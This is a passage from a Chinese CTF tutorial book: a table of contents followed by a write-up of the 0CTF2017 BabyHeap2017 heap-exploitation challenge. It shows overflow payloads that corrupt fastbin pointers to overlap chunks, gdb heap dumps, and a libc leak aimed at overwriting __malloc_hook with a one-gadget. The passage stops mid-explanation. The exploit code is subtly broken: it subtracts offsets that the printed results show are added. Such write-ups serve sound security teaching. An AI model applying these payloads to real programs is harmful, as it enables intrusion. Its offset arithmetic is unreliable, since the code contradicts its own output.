📊
CTF-All-In-One
  • 简介
  • 前言
  • 一、基础知识篇
    • 1.1 CTF 简介
    • 1.2 学习方法
    • 1.3 Linux 基础
    • 1.4 Web 安全基础
      • 1.4.1 HTML 基础
      • 1.4.2 HTTP 协议基础
      • 1.4.3 JavaScript 基础
      • 1.4.4 常见 Web 服务器基础
      • 1.4.5 OWASP Top Ten Project 漏洞基础
      • 1.4.6 PHP 源码审计基础
    • 1.5 逆向工程基础
      • 1.5.1 C/C++ 语言基础
      • 1.5.2 汇编基础
      • 1.5.3 Linux ELF
      • 1.5.4 Windows PE
      • 1.5.5 静态链接
      • 1.5.6 动态链接
      • 1.5.7 内存管理
      • 1.5.8 glibc malloc
      • 1.5.9 Linux 内核
      • 1.5.10 Windows 内核
      • 1.5.11 jemalloc
    • 1.6 密码学基础
      • 1.6.1 密码学导论
      • 1.6.2 流密码
      • 1.6.3 分组密码
      • 1.6.4 公钥密码
      • 1.6.5 消息认证和哈希函数
      • 1.6.6 数字签名
      • 1.6.7 密码协议
      • 1.6.8 密钥分配与管理
      • 1.6.9 数字货币
    • 1.7 Android 安全基础
      • 1.7.1 Android 环境搭建
      • 1.7.2 Dalvik 指令集
      • 1.7.3 ARM 汇编基础
      • 1.7.4 Android 常用工具
  • 二、工具篇
    • 虚拟化分析环境
      • 2.1.1 VirtualBox
      • 2.1.2 QEMU
      • 2.1.3 Docker
      • 2.1.4 Unicorn
    • 静态分析工具
      • 2.2.1 radare2
      • 2.2.2 IDA Pro
      • 2.2.3 JEB
      • 2.2.4 Capstone
      • 2.2.5 Keystone
      • 2.2.6 Ghidra
    • 动态分析工具
      • 2.3.1 GDB
      • 2.3.2 OllyDbg
      • 2.3.3 x64dbg
      • 2.3.4 WinDbg
      • 2.3.5 LLDB
    • 其他工具
      • 2.4.1 pwntools
      • 2.4.2 zio
      • 2.4.3 metasploit
      • 2.4.4 binwalk
      • 2.4.5 Burp Suite
      • 2.4.6 Wireshark
      • 2.4.7 Cuckoo Sandbox
  • 三、分类专题篇
    • Pwn
      • 3.1.1 格式化字符串漏洞
      • 3.1.2 整数溢出
      • 3.1.3 栈溢出
      • 3.1.4 返回导向编程(ROP)(x86)
      • 3.1.5 返回导向编程(ROP)(ARM)
      • 3.1.6 Linux 堆利用(一)
      • 3.1.7 Linux 堆利用(二)
      • 3.1.8 Linux 堆利用(三)
      • 3.1.9 Linux 堆利用(四)
      • 3.1.10 内核 ROP
      • 3.1.11 Linux 内核漏洞利用
      • 3.1.12 Windows 内核漏洞利用
      • 3.1.13 竞争条件
      • 3.1.14 虚拟机逃逸
    • Reverse
      • 3.2.1 patch 二进制文件
      • 3.2.2 脱壳技术(PE)
      • 3.2.3 脱壳技术(ELF)
      • 3.2.4 反调试技术(PE)
      • 3.2.5 反调试技术(ELF)
      • 3.2.6 指令混淆
    • Web
      • 3.3.1 SQL 注入利用
      • 3.3.2 XSS 漏洞利用
    • Crypto
    • Misc
      • 3.5.1 Lsb
    • Mobile
  • 四、技巧篇
    • 4.1 Linux 内核调试
    • 4.2 Linux 命令行技巧
    • 4.3 GCC 编译参数解析
    • 4.4 GCC 堆栈保护技术
    • 4.5 ROP 防御技术
    • 4.6 one-gadget RCE
    • 4.7 通用 gadget
    • 4.8 使用 DynELF 泄露函数地址
    • 4.9 shellcode 开发
    • 4.10 跳转导向编程(JOP)
    • 4.11 利用 mprotect 修改栈权限
    • 4.12 利用 __stack_chk_fail
    • 4.13 利用 _IO_FILE 结构
    • 4.14 glibc tcache 机制
    • 4.15 利用 vsyscall 和 vDSO
  • 五、高级篇
    • 5.0 软件漏洞分析
    • 5.1 模糊测试
      • 5.1.1 AFL fuzzer
      • 5.1.2 libFuzzer
    • 5.2 动态二进制插桩
      • 5.2.1 Pin
      • 5.2.2 DynamoRio
      • 5.2.3 Valgrind
    • 5.3 符号执行
      • 5.3.1 angr
      • 5.3.2 Triton
      • 5.3.3 KLEE
      • 5.3.4 S²E
    • 5.4 数据流分析
      • 5.4.1 Soot
    • 5.5 污点分析
      • 5.5.1 TaintCheck
    • 5.6 LLVM
      • 5.6.1 Clang
    • 5.7 程序切片
    • 5.8 SAT/SMT
      • 5.8.1 Z3
    • 5.9 基于模式的漏洞分析
    • 5.10 基于二进制比对的漏洞分析
    • 5.11 反编译技术
      • 5.11.1 RetDec
  • 六、题解篇
    • Pwn
      • 6.1.1 pwn HCTF2016 brop
      • 6.1.2 pwn NJCTF2017 pingme
      • 6.1.3 pwn XDCTF2015 pwn200
      • 6.1.4 pwn BackdoorCTF2017 Fun-Signals
      • 6.1.5 pwn GreHackCTF2017 beerfighter
      • 6.1.6 pwn DefconCTF2015 fuckup
      • 6.1.7 pwn 0CTF2015 freenote
      • 6.1.8 pwn DCTF2017 Flex
      • 6.1.9 pwn RHme3 Exploitation
      • 6.1.10 pwn 0CTF2017 BabyHeap2017
      • 6.1.11 pwn 9447CTF2015 Search-Engine
      • 6.1.12 pwn N1CTF2018 vote
      • 6.1.13 pwn 34C3CTF2017 readme_revenge
      • 6.1.14 pwn 32C3CTF2015 readme
      • 6.1.15 pwn 34C3CTF2017 SimpleGC
      • 6.1.16 pwn HITBCTF2017 1000levels
      • 6.1.17 pwn SECCONCTF2016 jmper
      • 6.1.18 pwn HITBCTF2017 Sentosa
      • 6.1.19 pwn HITBCTF2018 gundam
      • 6.1.20 pwn 33C3CTF2016 babyfengshui
      • 6.1.21 pwn HITCONCTF2016 Secret_Holder
      • 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
      • 6.1.23 pwn BCTF2016 bcloud
      • 6.1.24 pwn HITCONCTF2016 House_of_Orange
      • 6.1.25 pwn HCTF2017 babyprintf
      • 6.1.26 pwn 34C3CTF2017 300
      • 6.1.27 pwn SECCONCTF2016 tinypad
      • 6.1.28 pwn ASISCTF2016 b00ks
      • 6.1.29 pwn Insomni'hack_teaserCTF2017 The_Great_Escape_part-3
      • 6.1.30 pwn HITCONCTF2017 Ghost_in_the_heap
      • 6.1.31 pwn HITBCTF2018 mutepig
      • 6.1.32 pwn SECCONCTF2017 vm_no_fun
      • 6.1.33 pwn 34C3CTF2017 LFA
      • 6.1.34 pwn N1CTF2018 memsafety
      • 6.1.35 pwn 0CTF2018 heapstorm2
      • 6.1.36 pwn NJCTF2017 messager
      • 6.1.37 pwn sixstarctf2018 babystack
      • 6.1.38 pwn HITCONCMT2017 pwn200
      • 6.1.39 pwn BCTF2018 house_of_Atum
      • 6.1.40 pwn LCTF2016 pwn200
      • 6.1.41 pwn PlaidCTF2015 PlaidDB
      • 6.1.42 pwn hacklu2015 bookstore
      • 6.1.43 pwn 0CTF2018 babyheap
      • 6.1.44 pwn ASIS2017 start_hard
      • 6.1.45 pwn LCTF2016 pwn100
    • Reverse
      • 6.2.1 re XHPCTF2017 dont_panic
      • 6.2.2 re ECTF2016 tayy
      • 6.2.3 re CodegateCTF2017 angrybird
      • 6.2.4 re CSAWCTF2015 wyvern
      • 6.2.5 re PicoCTF2014 Baleful
      • 6.2.6 re SECCONCTF2017 printf_machine
      • 6.2.7 re CodegateCTF2018 RedVelvet
      • 6.2.8 re DefcampCTF2015 entry_language
    • Web
      • 6.3.1 web HCTF2017 babycrack
    • Crypto
    • Misc
    • Mobile
  • 七、实战篇
    • CVE
      • 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
      • 7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞
      • 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
      • 7.1.4 CVE-2017-13089 wget skip_short_body 栈溢出漏洞
      • 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
      • 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
      • 7.1.7 CVE-2018-6323 GNU binutils elf_object_p 整型溢出漏洞
      • 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
      • 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
    • Malware
  • 八、学术篇
    • 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
    • 8.2 Return-Oriented Programming without Returns
    • 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
    • 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
    • 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
    • 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
    • 8.9 Symbolic Execution for Software Testing: Three Decades Later
    • 8.10 AEG: Automatic Exploit Generation
    • 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Softwa
    • 8.13 New Frontiers of Reverse Engineering
    • 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
    • 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
    • 8.22 Practical Memory Checking With Dr. Memory
    • 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
    • 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
    • 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
    • 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
    • 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
    • 8.28 Cross-Architecture Bug Search in Binary Executables
    • 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
    • 8.30 Preventing brute force attacks against stack canary protection on networking servers
    • 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
    • 8.34 Enhancing Symbolic Execution with Veritesting
    • 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
    • 8.39 DART: Directed Automated Random Testing
    • 8.40 EXE: Automatically Generating Inputs of Death
    • 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
    • 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits
    • 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
    • 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
    • 8.45 Ramblr: Making Reassembly Great Again
    • 8.46 FreeGuard: A Faster Secure Heap Allocator
    • 8.48 Reassembleable Disassembling
  • 九、附录
    • 9.1 更多 Linux 工具
    • 9.2 更多 Windows 工具
    • 9.3 更多资源
    • 9.4 Linux 系统调用表
    • 9.5 python2到3字符串转换
    • 9.6 幻灯片
Powered by GitBook
On this page
  • 题目复现
  • 题目解析
  • 漏洞利用
  • leak libc
  • get shell
  • exploit
  • 参考资料

Was this helpful?

  1. 六、题解篇
  2. Pwn

6.1.10 pwn 0CTF2017 BabyHeap2017

Previous6.1.9 pwn RHme3 ExploitationNext6.1.11 pwn 9447CTF2015 Search-Engine

Last updated 3 years ago

Was this helpful?

题目复现

这个题目给出了二进制文件。在 Ubuntu 16.04 上,libc 就用自带的。

$ file babyheap
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped
$ checksec -f babyheap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY   Fortified Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   Yes       0               2       babyheap
$ file /lib/x86_64-linux-gnu/libc-2.23.so
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped

64 位程序,保护全开。

把它运行起来:

$ socat tcp4-listen:10001,reuseaddr,fork exec:./babyheap &

一个典型的堆利用题目:

$ ./babyheap
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 1      // 分配一个指定大小的 chunk
Size: 5
Allocate Index 0
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 2      // 将指定大小数据放进 chunk,但似乎没有进行边界检查,导致溢出
Index: 0
Size: 10
Content: aaaaaaaaaa     // 10个a
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 1. Allocate    // 似乎触发了什么 bug,如果是9个a就没事
2. Fill
3. Free
4. Dump
5. Exit
Command: 4      // 打印出 chunk 的内容,长度是新建时的长度,而不是放入数据的长度
Index: 0
Content:
aaaaa
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 3      // 释放 chunk
Index: 0
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 5

题目解析

根据前面所学的知识,我们知道释放且只释放了一个 chunk 后,该 free chunk 会被加入到 unsorted bin 中,它的 fd/bk 指针指向了 libc 中的 main_arena 结构。我们已经知道了 Fill 数据的操作存在溢出漏洞,但并没有发现 UAF 漏洞,所以要想泄露出 libc 基址,得利用 Dump 操作。另外内存分配使用了 calloc 函数,这个函数与 malloc 的区别是,calloc 会将分配的内存空间每一位都初始化为 0,所以也不能通过分配和释放几个小 chunk,再分配一个大 chunk,来泄露其内容。

怎么利用 Dump 操作呢?如果能使两个 chunk 相重叠,Free 一个,Dump 另一个,或许可行。

漏洞利用

leak libc

还是一样的,为了方便调试,先关掉 ASLR。首先分配 3 个 fast chunk 和 1 个 small chunk,其实填充数据对漏洞利用是没有意义的,这里只是为了方便观察:

alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
fill(0, "A"*16)
fill(1, "A"*16)
fill(2, "A"*16)
fill(3, "A"*16)
fill(4, "A"*128)
gef➤  x/40gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021  <-- chunk 1
0x555555757030:	0x4141414141414141	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- chunk 2
0x555555757050:	0x4141414141414141	0x4141414141414141
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000091  <-- chunk 4
0x555555757090:	0x4141414141414141	0x4141414141414141
0x5555557570a0:	0x4141414141414141	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000020ef1  <-- top chunk
0x555555757120:	0x0000000000000000	0x0000000000000000
0x555555757130:	0x0000000000000000	0x0000000000000000
gef➤  x/20gx 0xafc966564d0-0x10
0xafc966564c0:	0x0000000000000001	0x0000000000000010  <-- idx 0 -> chunk 0
0xafc966564d0:	0x0000555555757010	0x0000000000000001  <-- idx 1 -> chunk 1
0xafc966564e0:	0x0000000000000010	0x0000555555757030
0xafc966564f0:	0x0000000000000001	0x0000000000000010  <-- idx 2 -> chunk 2
0xafc96656500:	0x0000555555757050	0x0000000000000001  <-- idx 3 -> chunk 3
0xafc96656510:	0x0000000000000010	0x0000555555757070
0xafc96656520:	0x0000000000000001	0x0000000000000080  <-- idx 4 -> chunk 4
0xafc96656530:	0x0000555555757090	0x0000000000000000
0xafc96656540:	0x0000000000000000	0x0000000000000000
0xafc96656550:	0x0000000000000000	0x0000000000000000

另外我们看到,chunk 的序号被存储到一个 mmap 分配出来的结构体中,包含了 chunk 的地址和大小。程序就是通过该结构体寻找 chunk,然后各种操作的。

free 掉两个 fast chunk,这样 chunk 2 的 fd 指针会被指向 chunk 1:

free(1)
free(2)
gef➤  x/2gx &main_arena
0x7ffff7dd1b20 <main_arena>:    0x0000000000000000	0x0000555555757040
gef➤  heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x555555757030, size=0x20, flags=PREV_INUSE)
gef➤  x/40gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021  <-- chunk 1 [be freed]
0x555555757030:	0x0000000000000000	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- chunk 2 [be freed]  <-- fast bins
0x555555757050:	0x0000555555757020	0x4141414141414141      <-- fd pointer
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000091  <-- chunk 4
0x555555757090:	0x4141414141414141	0x4141414141414141
0x5555557570a0:	0x4141414141414141	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000020ef1
0x555555757120:	0x0000000000000000	0x0000000000000000
0x555555757130:	0x0000000000000000	0x0000000000000000
gef➤  x/20gx 0xafc966564d0-0x10
0xafc966564c0:	0x0000000000000001	0x0000000000000010  <-- idx 0 -> chunk 0
0xafc966564d0:	0x0000555555757010	0x0000000000000000
0xafc966564e0:	0x0000000000000000	0x0000000000000000
0xafc966564f0:	0x0000000000000000	0x0000000000000000
0xafc96656500:	0x0000000000000000	0x0000000000000001  <-- idx 3 -> chunk 3
0xafc96656510:	0x0000000000000010	0x0000555555757070
0xafc96656520:	0x0000000000000001	0x0000000000000080  <-- idx 4 -> chunk 4
0xafc96656530:	0x0000555555757090	0x0000000000000000
0xafc96656540:	0x0000000000000000	0x0000000000000000
0xafc96656550:	0x0000000000000000	0x0000000000000000

free 掉的 chunk,其结构体被清空,等待下一次 malloc,并添加到空出来的地方。

通过溢出漏洞修改已被释放的 chunk 2,让 fd 指针指向 chunk 4,这样就将 small chunk 加入到了 fastbins 链表中,然后还需要把 chunk 4 的 0x91 改成 0x21 以绕过 fastbins 大小的检查:

payload  = "A"*16
payload += p64(0)
payload += p64(0x21)
payload += p64(0)
payload += "A"*8
payload += p64(0)
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)

payload  = "A"*16
payload += p64(0)
payload += p64(0x21)
fill(3, payload)
gef➤  x/2gx &main_arena
0x7ffff7dd1b20 <main_arena>:    0x0000000000000000	0x0000555555757040
gef➤  heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x555555757050, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x555555757090, size=0x20, flags=PREV_INUSE)  ←  [Corrupted chunk at 0x4141414141414151]
gef➤  x/40gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021  <-- chunk 1 [be freed]
0x555555757030:	0x0000000000000000	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- chunk 2 [be freed]  <-- fast bins
0x555555757050:	0x0000555555757080	0x4141414141414141      <-- fd pointer
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000021  <-- chunk 4
0x555555757090:	0x4141414141414141	0x4141414141414141
0x5555557570a0:	0x4141414141414141	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000020ef1
0x555555757120:	0x0000000000000000	0x0000000000000000
0x555555757130:	0x0000000000000000	0x0000000000000000

现在我们再分配两个 chunk,它们都会从 fastbins 中被取出来,而且 new chunk 2 会和原来的 chunk 4 起始位置重叠,但前者是 fast chunk,而后者是 small chunk,即一个大 chunk 里包含了一个小 chunk,这正是我们需要的:

alloc(0x10)
alloc(0x10)
fill(1, "B"*16)
fill(2, "C"*16)
fill(4, "D"*16)
gef➤  x/2gx &main_arena
0x7ffff7dd1b20 <main_arena>:    0x0000000000000000	0x4141414141414141
gef➤  x/40gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021  <-- chunk 1 [be freed]
0x555555757030:	0x0000000000000000	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- new chunk 1
0x555555757050:	0x4242424242424242	0x4242424242424242
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000021  <-- chunk 4, new chunk 2
0x555555757090:	0x4444444444444444	0x4444444444444444
0x5555557570a0:	0x0000000000000000	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000020ef1
0x555555757120:	0x0000000000000000	0x0000000000000000
0x555555757130:	0x0000000000000000	0x0000000000000000
gef➤  x/20gx 0xafc966564d0-0x10
0xafc966564c0:	0x0000000000000001	0x0000000000000010  <-- idx 0 -> chunk 0
0xafc966564d0:	0x0000555555757010	0x0000000000000001  <-- idx 1 -> new chunk 1
0xafc966564e0:	0x0000000000000010	0x0000555555757050
0xafc966564f0:	0x0000000000000001	0x0000000000000010  <-- idx 2 -> new chunk 2
0xafc96656500:	0x0000555555757090	0x0000000000000001  <-- idx 3 -> chunk 3
0xafc96656510:	0x0000000000000010	0x0000555555757070
0xafc96656520:	0x0000000000000001	0x0000000000000080  <-- idx 4 -> chunk 4
0xafc96656530:	0x0000555555757090	0x0000000000000000
0xafc96656540:	0x0000000000000000	0x0000000000000000
0xafc96656550:	0x0000000000000000	0x0000000000000000

可以看到新分配的 chunk 2,填补到了被释放的 chunk 2 的位置上。

再次利用溢出漏洞将 chunk 4 的 0x21 改回 0x91,然后为了避免 free(4) 后该 chunk 被合并进 top chunk,需要再分配一个 small chunk:

payload  = "A"*16
payload += p64(0)
payload += p64(0x91)
fill(3, payload)

alloc(0x80)
fill(5, "A"*128)
gef➤  x/60gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021
0x555555757030:	0x0000000000000000	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- new chunk 1
0x555555757050:	0x4242424242424242	0x4242424242424242
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000091  <-- chunk 4, new chunk 2
0x555555757090:	0x4444444444444444	0x4444444444444444
0x5555557570a0:	0x0000000000000000	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000000	0x0000000000000091  <-- chunk 5
0x555555757120:	0x4141414141414141	0x4141414141414141
0x555555757130:	0x4141414141414141	0x4141414141414141
0x555555757140:	0x4141414141414141	0x4141414141414141
0x555555757150:	0x4141414141414141	0x4141414141414141
0x555555757160:	0x4141414141414141	0x4141414141414141
0x555555757170:	0x4141414141414141	0x4141414141414141
0x555555757180:	0x4141414141414141	0x4141414141414141
0x555555757190:	0x4141414141414141	0x4141414141414141
0x5555557571a0:	0x0000000000000000	0x0000000000020e61  <-- top chunk
0x5555557571b0:	0x0000000000000000	0x0000000000000000
0x5555557571c0:	0x0000000000000000	0x0000000000000000
0x5555557571d0:	0x0000000000000000	0x0000000000000000
gef➤  x/20gx 0xafc966564d0-0x10
0xafc966564c0:	0x0000000000000001	0x0000000000000010  <-- idx 0 -> chunk 0
0xafc966564d0:	0x0000555555757010	0x0000000000000001  <-- idx 1 -> new chunk 1
0xafc966564e0:	0x0000000000000010	0x0000555555757050
0xafc966564f0:	0x0000000000000001	0x0000000000000010  <-- idx 2 -> new chunk 2
0xafc96656500:	0x0000555555757090	0x0000000000000001  <-- idx 3 -> chunk 3
0xafc96656510:	0x0000000000000010	0x0000555555757070
0xafc96656520:	0x0000000000000001	0x0000000000000080  <-- idx 4 -> chunk 4
0xafc96656530:	0x0000555555757090	0x0000000000000001  <-- idx 5 -> chunk 5
0xafc96656540:	0x0000000000000080	0x0000555555757120
0xafc96656550:	0x0000000000000000	0x0000000000000000

这时,如果我们将 chunk 4 释放掉,其 fd 指针会被设置为指向 unsorted bin 链表的头部,这个地址在 libc 中,且相对位置固定,利用它就可以算出 libc 被加载的地址:

free(4)
gef➤  heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x555555757080, bk=0x555555757080
 →   Chunk(addr=0x555555757090, size=0x90, flags=PREV_INUSE)
gef➤  x/60gx 0x0000555555757010-0x10
0x555555757000:	0x0000000000000000	0x0000000000000021  <-- chunk 0
0x555555757010:	0x4141414141414141	0x4141414141414141
0x555555757020:	0x0000000000000000	0x0000000000000021
0x555555757030:	0x0000000000000000	0x4141414141414141
0x555555757040:	0x0000000000000000	0x0000000000000021  <-- new chunk 1
0x555555757050:	0x4242424242424242	0x4242424242424242
0x555555757060:	0x0000000000000000	0x0000000000000021  <-- chunk 3
0x555555757070:	0x4141414141414141	0x4141414141414141
0x555555757080:	0x0000000000000000	0x0000000000000091  <-- chunk 4 [be freed], new chunk 2 <-- unsorted bin
0x555555757090:	0x00007ffff7dd1b78	0x00007ffff7dd1b78      <-- fd, bk pointer
0x5555557570a0:	0x0000000000000000	0x4141414141414141
0x5555557570b0:	0x4141414141414141	0x4141414141414141
0x5555557570c0:	0x4141414141414141	0x4141414141414141
0x5555557570d0:	0x4141414141414141	0x4141414141414141
0x5555557570e0:	0x4141414141414141	0x4141414141414141
0x5555557570f0:	0x4141414141414141	0x4141414141414141
0x555555757100:	0x4141414141414141	0x4141414141414141
0x555555757110:	0x0000000000000090	0x0000000000000090  <-- chunk 5
0x555555757120:	0x4141414141414141	0x4141414141414141
0x555555757130:	0x4141414141414141	0x4141414141414141
0x555555757140:	0x4141414141414141	0x4141414141414141
0x555555757150:	0x4141414141414141	0x4141414141414141
0x555555757160:	0x4141414141414141	0x4141414141414141
0x555555757170:	0x4141414141414141	0x4141414141414141
0x555555757180:	0x4141414141414141	0x4141414141414141
0x555555757190:	0x4141414141414141	0x4141414141414141
0x5555557571a0:	0x0000000000000000	0x0000000000020e61
0x5555557571b0:	0x0000000000000000	0x0000000000000000
0x5555557571c0:	0x0000000000000000	0x0000000000000000
0x5555557571d0:	0x0000000000000000	0x0000000000000000
gef➤  x/20gx 0xafc966564d0-0x10
0xafc966564c0:	0x0000000000000001	0x0000000000000010  <-- idx 0 -> chunk 0
0xafc966564d0:	0x0000555555757010	0x0000000000000001  <-- idx 1 -> new chunk 1
0xafc966564e0:	0x0000000000000010	0x0000555555757050
0xafc966564f0:	0x0000000000000001	0x0000000000000010  <-- idx 2 -> new chunk 2
0xafc96656500:	0x0000555555757090	0x0000000000000001  <-- idx 3 -> chunk 3
0xafc96656510:	0x0000000000000010	0x0000555555757070
0xafc96656520:	0x0000000000000000	0x0000000000000000
0xafc96656530:	0x0000000000000000	0x0000000000000001  <-- idx 5 -> chunk 5
0xafc96656540:	0x0000000000000080	0x0000555555757120
0xafc96656550:	0x0000000000000000	0x0000000000000000

最后利用 Dump 操作即可将地址泄漏出来:

leak = u64(dump(2)[:8])
libc = leak - 0x3c4b78          # 0x3c4b78 = leak - libc
__malloc_hook = libc - 0x3c4b10    # readelf -s libc.so.6 | grep __malloc_hook@
one_gadget = libc - 0x4526a
[*] leak => 0x7ffff7dd1b78
[*] libc => 0x7ffff7a0d000
[*] __malloc_hook => 0x7ffff7dd1b10
[*] one_gadget => 0x7ffff7a5226a

get shell

由于开启了 Full RELRO,改写 GOT 表是不行了。考虑用 __malloc_hook,它是一个弱类型的函数指针变量,指向 void * function(size_t size, void * caller),当调用 malloc() 时,首先判断 hook 函数指针是否为空,不为空则调用它。所以这里我们传入一个 one-gadget 即可(详情请查看章节4.6)。

首先考虑怎样利用 fastbins 在 __malloc_hook 指向的地址处写入 one_gadget 的地址。这里有一个技巧,地址偏移,就像下面这样构造一个 fake chunk,其大小为 0x7f,也就是一个 fast chunk:

